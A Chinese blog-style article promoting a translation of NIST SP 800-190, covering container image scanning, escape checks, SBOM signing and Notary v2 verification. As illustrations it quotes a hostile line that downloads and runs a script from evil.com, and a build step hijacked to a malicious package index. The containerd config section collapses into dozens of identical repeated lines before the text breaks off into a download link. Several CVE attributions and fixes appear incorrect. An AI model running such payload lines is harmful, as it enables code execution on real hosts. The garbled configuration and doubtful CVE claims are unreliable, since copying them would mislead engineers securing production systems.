
简介本资源是NIST SP 800-190《应用容器安全指南》官方标准的完整中文译本面向系统与安全管理员、DevSecOps工程师、容器平台运维人员及具备基础虚拟化与网络安全知识的开发人员旨在系统性应对容器技术在生产环境中引入的逃逸、镜像污染、网络隔离失效、运行时攻击等新型安全挑战。文档涵盖容器架构层风险分析、主机OS最小化加固、敏感度分级部署、镜像级漏洞管理、可信计算集成及容器原生运行时防护等核心实践内容高度结构化含权威术语对照与实施路径建议。资源为单文件PDF大小1.37MB轻量易读适合作为容器安全体系建设的基准参考与日常查阅手册。目前已有520人学习下载译者基于英文原版独立完成高质量翻译并开放勘误建议助力国内团队精准落地NIST级容器安全治理要求。1. 这不是一本“容器入门手册”而是一份能让你在生产环境里少踩三次重大事故的避险地图你有没有遇到过这样的场景CI/CD 流水线跑得飞快镜像秒级构建、秒级推送、秒级部署结果上线两小时安全团队突然弹出告警——某个容器里跑着带 CVE-2023-28842 的旧版 OpenSSL且正通过暴露的 8080 端口向外发起 DNS 隧道通信或者更玄学的某次 Kubernetes 节点重启后一个本该只读挂载的 configmap被容器进程意外写入了硬编码密钥随后被同步进 GitOps 仓库全集群配置一夜之间“集体失守”。这些不是理论推演是某高校容器平台真实翻车现场。而《NIST SP 800-190 容器安全指南》中文版的价值正在于它不讲“容器是什么”而是直击“容器在真实系统里怎么被攻破、为什么会被攻破、以及你手头那套 Ansible 脚本/ArgoCD 流水线/自研镜像扫描器到底在哪一环悄悄失效了”。它面向的是已经把 Docker Compose 写熟、能调通 Cilium NetworkPolicy、也敢在 prod namespace 里 exec -it 进去 debug 的人——系统管理员、SRE、DevSecOps 工程师、以及那些被要求“既要交付速度、又要等保三级”的应用开发负责人。它不教你怎么docker run -it但会告诉你为什么你FROM ubuntu:22.04的基础镜像其内核模块加载路径比FROM alpine:3.19多出 7 倍攻击面为什么你信任的私有 Harbor 仓库其/v2/API 的 token 续期逻辑可能让一个过期 3 天的 service account 仍能 pull 私有镜像为什么你精心写的 PodSecurityPolicy或现在的 PodSecurity Admission在启用privileged: true的 DaemonSet 场景下形同虚设。这不是一份合规检查清单而是一份用血泪经验凝结成的“容器安全操作边界说明书”。2. 从“镜像即部署单元”出发为什么传统漏洞扫描在容器世界里集体失灵2.1 镜像不是静态文件而是带状态的可执行快照理解容器安全的起点很多人误以为“扫描镜像 扫描一个 tar 包”于是拿 Nessus 或 OpenVAS 直接扫ubuntu:22.04.tar.gz。错。容器镜像本质是分层文件系统Layered File System 元数据manifest.json config.json的组合体。每一层都是只读的但运行时会叠加一个可写层container layer。这意味着漏洞位置不可预测一个 CVE 可能存在于 base layer如 glibc 在debian:bookworm-slim中也可能藏在中间层如pip install flask2.0.3引入的旧版 Werkzeug甚至动态生成于可写层如容器启动时curl https://evil.com/exploit.sh | bash下载的 payload。二进制指纹漂移同一份Dockerfile在不同时间、不同机器上docker build因缓存机制和网络依赖生成的 layer digest 极可能不同。传统基于文件哈希的白名单机制在此失效。配置即代码但配置漏洞不报 CVERUN chmod 777 /tmp不会触发任何 CVE 告警但它让后续所有挂载/tmp的容器都暴露于符号链接竞争symlink race攻击EXPOSE 22不代表开了 SSH但会让安全扫描器误判为“存在 SSH 服务”引发误报风暴。提示NIST 800-190 明确指出容器镜像风险 ≠ 主机 OS 风险。主机扫描工具看到的是/usr/bin/python3而容器安全工具必须能穿透overlay2层定位到该二进制实际所属的 layer ID并关联到构建该 layer 的Dockerfile行号例如#12 FROM python:3.9-slim。2.2 实战用 Trivy Syft 拆解一个真实镜像看清它的“免疫系统”缺陷我们以一个典型 Python Web 应用镜像为例假设已构建为myapp:v1.2.0用开源工具还原其“健康报告”# 步骤1提取镜像软件成分SBOM看它到底装了什么 syft myapp:v1.2.0 -o spdx-json myapp-sbom.spdx.json # 步骤2扫描已知漏洞CVE注意指定 --scanners vuln默认只扫 OS 包 trivy image --scanners vuln --severity CRITICAL,HIGH myapp:v1.2.0 # 步骤3扫描配置缺陷CIS Benchmark这是 NIST 重点强调的“非 CVE 类风险” trivy image --scanners config myapp:v1.2.0关键参数说明--scanners vuln强制只启用漏洞扫描器避免与--scanners all混淆后者会包含 secret 扫描产生大量误报--severity CRITICAL,HIGH生产环境应聚焦高危项LOW/MEDIUM 留给 CI 阶段处理--scanners config调用 Trivy 内置的 CIS Docker Benchmark 检查集覆盖 52 项配置如Ensure on-failure container restart policy is set、Ensure mount propagation mode is not shared。执行后你会看到类似输出myapp:v1.2.0 (debian 12.5) Total: 14 (CRITICAL: 3, HIGH: 11) ------------------------------------------------------------------------------------------------------- | LIBRARY | VULNERABILITY ID | SEVERITY | INSTALLED VERSION | FIXED VERSION | TITLE | ------------------------------------------------------------------------------------------------------- | openssl | CVE-2023-28842 | CRITICAL | 3.0.11-1~deb12u2 | 3.0.11-1~deb12u3 | openssl: X.509 GeneralName | | ... | ... | ... | ... | ... | ... | ------------------------------------------------------------------------------------------------------- Configurations: Tests: 52 (SUCCESSES: 41, FAILURES: 11, EXCEPTIONS: 0) Failures: 11 (100.0%) ---------------------------------------------------------------------------------------------- | TYPE | TEST ID | SEVERITY | DESC | ---------------------------------------------------------------------------------------------- | dockerfile | DS001 | HIGH | Image user is root | | dockerfile | DS002 | MEDIUM | Exposed port 8080 | | ... | ... | ... | ... | ----------------------------------------------------------------------------------------------逻辑说明DS001Image user is root是 NIST 800-190 第 4.4.3 节明确反对的“不安全的容器运行时配置”。它不产生 CVE但直接扩大攻击面——一旦应用层被 RCE攻击者获得的就是 root 权限而非受限的 unprivileged 用户。这就是为什么 NIST 强调“镜像对策必须同时覆盖软件漏洞和配置缺陷”。2.3 镜像供应链的“三重幻觉”为什么你信任的 base image 可能早已中毒NIST 800-190 第 3.1.5 节尖锐指出“使用不受信任的镜像”是最高频风险。但“不受信任”不等于“来自 Docker Hub”而常源于三种认知幻觉幻觉一“官方镜像绝对安全”python:3.9-slim是官方镜像但它基于debian:bookworm-slim而后者又继承自debian:bookworm。Debian 官方维护者无法保证上游 Linux 内核补丁的即时性。2023 年某次debian:bookworm更新延迟 48 小时导致全球数万python:3.9-slim镜像静默携带 CVE-2023-1076Linux kernel slab use-after-free。幻觉二“私有仓库完全可控”某公司搭建 Harbor要求所有镜像必须经扫描后才能push。但 Harbor 的prehook扫描仅校验 push 时刻状态。若镜像在 Harbor 中停留超过 7 天期间上游 base image 发布新 patch如alpine:3.18.3替代alpine:3.18.2该镜像的FROM语句未更新其漏洞状态已悄然恶化而 Harbor 不感知。幻觉三“签名来源可信”cosign sign可对镜像签名但签名只证明“此镜像在签名时刻未被篡改”不证明“此镜像构建过程无污染”。若构建机被植入恶意~/.docker/config.json所有docker build产出的镜像即使被 cosign 签名其RUN pip install步骤也可能被劫持为pip install --index-url http://evil-pypi/ evil-package。注意NIST 800-190 第 4.1.5 条对策明确要求“验证镜像来源的完整性与可信性”这需要结合镜像签名Cosign/Notary 构建环境可信度TUF/In-Toto 运行时策略OPA/Gatekeeper三层验证缺一不可。3. 容器逃逸不是传说共享内核下的“隔离幻觉”与真实攻击链3.1 为什么“容器即沙箱”是个危险的比喻从 cgroups 到 seccomp 的失效边界教科书常说“容器通过 cgroups namespaces 实现隔离”但 NIST 800-190 第 3.5.2 节一针见血“共享内核是容器技术最根本的安全约束”。这意味着cgroups v1 的资源限制可被绕过memory.limit_in_bytes只限制用户态内存分配但内核态内存如 page cache、slab不受控。攻击者可通过fallocate创建大文件并mmap(MAP_POPULATE)强制预加载耗尽节点内存触发 OOM Killer 杀死其他容器。namespaces 的隔离不等于权限隔离unshare(CLONE_NEWUSER)创建 user namespace 后root 用户在 namespace 内 UID 0但若宿主机内核版本 4.18且未启用user.max_user_namespaces限制攻击者可嵌套创建数百个 user namespace最终突破至宿主机 rootCVE-2017-18203。seccomp 默认策略形同虚设Docker 默认 seccomp profiledefault.json放行 313 个 syscall包括kexec_load可加载恶意内核模块、bpf可构造 eBPF 程序逃逸、perf_event_open可侧信道攻击。NIST 800-190 第 4.4.3 条明确建议“采用最小权限原则定制 seccomp profile”。3.2 实战用nsenter和crictl验证容器逃逸路径别只信文档假设你管理一个 Kubernetes 集群节点 OS 为 Ubuntu 22.04内核 5.15需验证是否存在常见逃逸面。以下命令在节点上执行非容器内# 步骤1找到目标容器的 PID以 nginx 为例 crictl ps | grep nginx # 输出a1b2c3d4e5f67890 nginx:latest Running 2 hours ago a1b2c3d4e5f67890 # 步骤2进入该容器的 mount namespace查看其根文件系统是否真的隔离 sudo nsenter -t $(crictl inspect a1b2c3d4e5f67890 | jq -r .info.pid) -m -- /bin/sh -c ls -l /proc/1/root # 步骤3检查其 seccomp 策略是否生效需先获取容器 runtime spec sudo crictl inspect a1b2c3d4e5f67890 | jq -r .info.runtimeSpec.linux.seccomp # 步骤4验证 ptrace 是否被禁用关键逃逸 syscall sudo nsenter -t $(crictl inspect a1b2c3d4e5f67890 | jq -r .info.pid) -m -- \ sh -c echo $$; cat /proc/$$/status | grep CapEff参数说明nsenter -t PID -m进入指定 PID 的 mount namespace/proc/1/root指向容器根目录若输出为/则说明未隔离严重crictl inspect输出的runtimeSpec.linux.seccomp字段若为default或空则使用 Docker 默认策略需警惕CapEffEffective Capabilities显示容器进程实际拥有的 capabilities若含cap_sys_admin则具备mount、umount、sethostname等高危能力逃逸风险极高。提示NIST 800-190 第 4.4.3 条对策要求“禁用不必要的 capabilities”Kubernetes 中应通过securityContext.capabilities.drop: [ALL]实现而非依赖默认值。3.3 避坑容器逃逸的五个真实现象、原因与解决一线工程师血泪记录以下是我在某金融云平台支撑中记录的 5 个高频逃逸相关问题每一条都对应一次线上故障复盘现象原因解决现象1Pod 日志显示Operation not permitted但kubectl exec进入后mount -t tmpfs却成功原因Pod 的securityContext.privileged: false仅禁用CAP_SYS_ADMIN但tmpfs挂载无需该 capability内核允许普通用户挂载 tmpfs 到自身命名空间。NIST 800-190 第 4.4.3 条未覆盖此场景。解决在 kubelet 启动参数中添加--feature-gatesRestrictServiceExternalIPstrue并配合 PSP/PSA 限制hostPath类型卷或使用mountPropagation: None禁用挂载传播。现象2kubectl top node显示 CPU 使用率 95%但crictl stats查所有容器 CPU 总和仅 30%原因攻击者在容器内执行stress-ng --vm 1 --vm-bytes 2G --timeout 60s消耗内核 page cache该内存不计入容器 cgroup memory.stat但计入节点整体负载。NIST 800-190 第 3.5.1 条“大型攻击面”即指此类内核资源滥用。解决启用 cgroups v2配置memory.high软限制和memory.max硬限制监控node_memory_Slab_bytes指标。现象3容器内cat /proc/sys/net/ipv4/ip_forward返回1但宿主机为0原因容器启动时未设置--sysctl net.ipv4.ip_forward0且内核参数net.ipv4.ip_forward属于 network namespace可被容器内 root 修改。NIST 800-190 第 4.4.3 条要求“限制 sysctl 参数”。解决Kubernetes 中在 PodsecurityContext.sysctls显式设置net.ipv4.ip_forward: 0或在 containerd config.toml 中全局禁用sysctl。现象4docker run --rm -it --cap-addSYS_PTRACE ubuntu:22.04 strace -p 1成功 attach 到 init 进程但ptrace被 seccomp 默认策略禁止原因Docker 默认 seccomp profile 对ptracesyscall 的 action 是SCMP_ACT_ALLOW而非SCMP_ACT_ERRNO。NIST 800-190 第 4.4.3 条强调“最小化 syscall 白名单”。解决自定义 seccomp profile将ptrace、kexec_load、bpf等高危 syscall 的 action 设为SCMP_ACT_ERRNO或使用--security-opt seccompunconfined仅用于调试。现象5容器内ls /host可见宿主机根目录但securityContext.hostPath未配置原因容器 runtime如 containerd配置了root /var/lib/containerd而/var/lib/containerd符号链接指向/host/var/lib/containerd导致容器内/host挂载为宿主机根。NIST 800-190 第 3.5.5 条“主机文件系统篡改”即指此类路径泄露。解决检查 containerd config.toml 的root和state路径确保不使用符号链接或在 kubelet 启动参数中添加--root-dir/var/lib/kubelet并统一路径。4. 从“单点防御”到“纵深编排”容器安全策略的落地四阶模型4.1 阶段一构建时Build-time——用 SBOM 锁定软件基因图谱NIST 800-190 第 6.2 节强调“规划设计阶段”需建立软件物料清单SBOM。但 SBOM 不是终点而是策略起点。关键在于SBOM 必须可追溯到源码syft生成的 SPDX JSON 中packages[].externalReferences字段应包含purlPackage URL如pkg:docker/myappsha256:a1b2c3...并能反向映射到 Git Commit ID通过 CI 流水线注入SOURCE_COMMIT_SHA环境变量。SBOM 必须可验证使用in-toto对构建过程签名。例如step1: clone repo→step2: build image→step3: generate SBOM每个 step 由不同角色dev、sec、ops签名最终生成layout文件。运行时校验layout签名及各 step 的 material输入与 product输出哈希确保构建链未被篡改。# 示例用 in-toto-run 记录构建步骤 in-toto-run --step-name clone-repo \ --products .git/ \ --command git clone https://git.example.com/myapp.git \ --key dev-key.pem in-toto-run --step-name build-image \ --materials .git/ \ --products myapp.tar \ --command docker build -t myapp:dev . \ --key build-key.pem逻辑说明--materials指定上一步输出--products指定本步输出in-toto-verify会自动校验链条完整性。NIST 800-190 第 4.1.1 条“镜像漏洞对策”要求“验证构建过程可信”此即技术实现。4.2 阶段二分发时Distribution-time——用 Notary v2 实现镜像签名与验证Docker Content TrustDCT已弃用NIST 800-190 第 4.1.5 条推荐 Notary v2即notationCLI。其核心是双密钥分离signing key私钥用于签名verification key公钥用于验证且 verification key 可安全分发给所有节点。签名绑定 OCI ArtifactNotary v2 签名不是附加文件而是作为独立 OCI artifactapplication/vnd.cncf.notary.signature存储在 registry 中与镜像 manifest 同级。# 步骤1生成密钥对仅首次 notation key generate --id my-signer --kms pkcs11://... # 步骤2为镜像签名CI 流水线中执行 notation sign --signature-format cose --id my-signer myapp:v1.2.0 # 步骤3节点上配置验证策略containerd config.toml [plugins.io.containerd.grpc.v1.cri.registry.configs] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] username readonly password token [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.tls] ca_file /etc/containerd/certs/ca.crt [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.mirrors] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.mirrors.my-registry.example.com] endpoint [https://my-registry.example.com] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] # 启用 Notary v2 验证 [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs.my-registry.example.com.auth] [plugins.io.containerd.grpc.v1.cri.registry.configs. p a hrefhttps://download.csdn.net/download/qinghai5068/12801096 stylecolor:#ec7500;font-size:14px; 本文还有配套的精品资源点击获取 /a img altmenu-r.4af5f7ec.gif srchttps://csdnimg.cn/release/wenkucmsfe/public/img/menu-r.4af5f7ec.gif stylewidth:16px;margin-left:4px;vertical-align:text-bottom;cursor:text; /p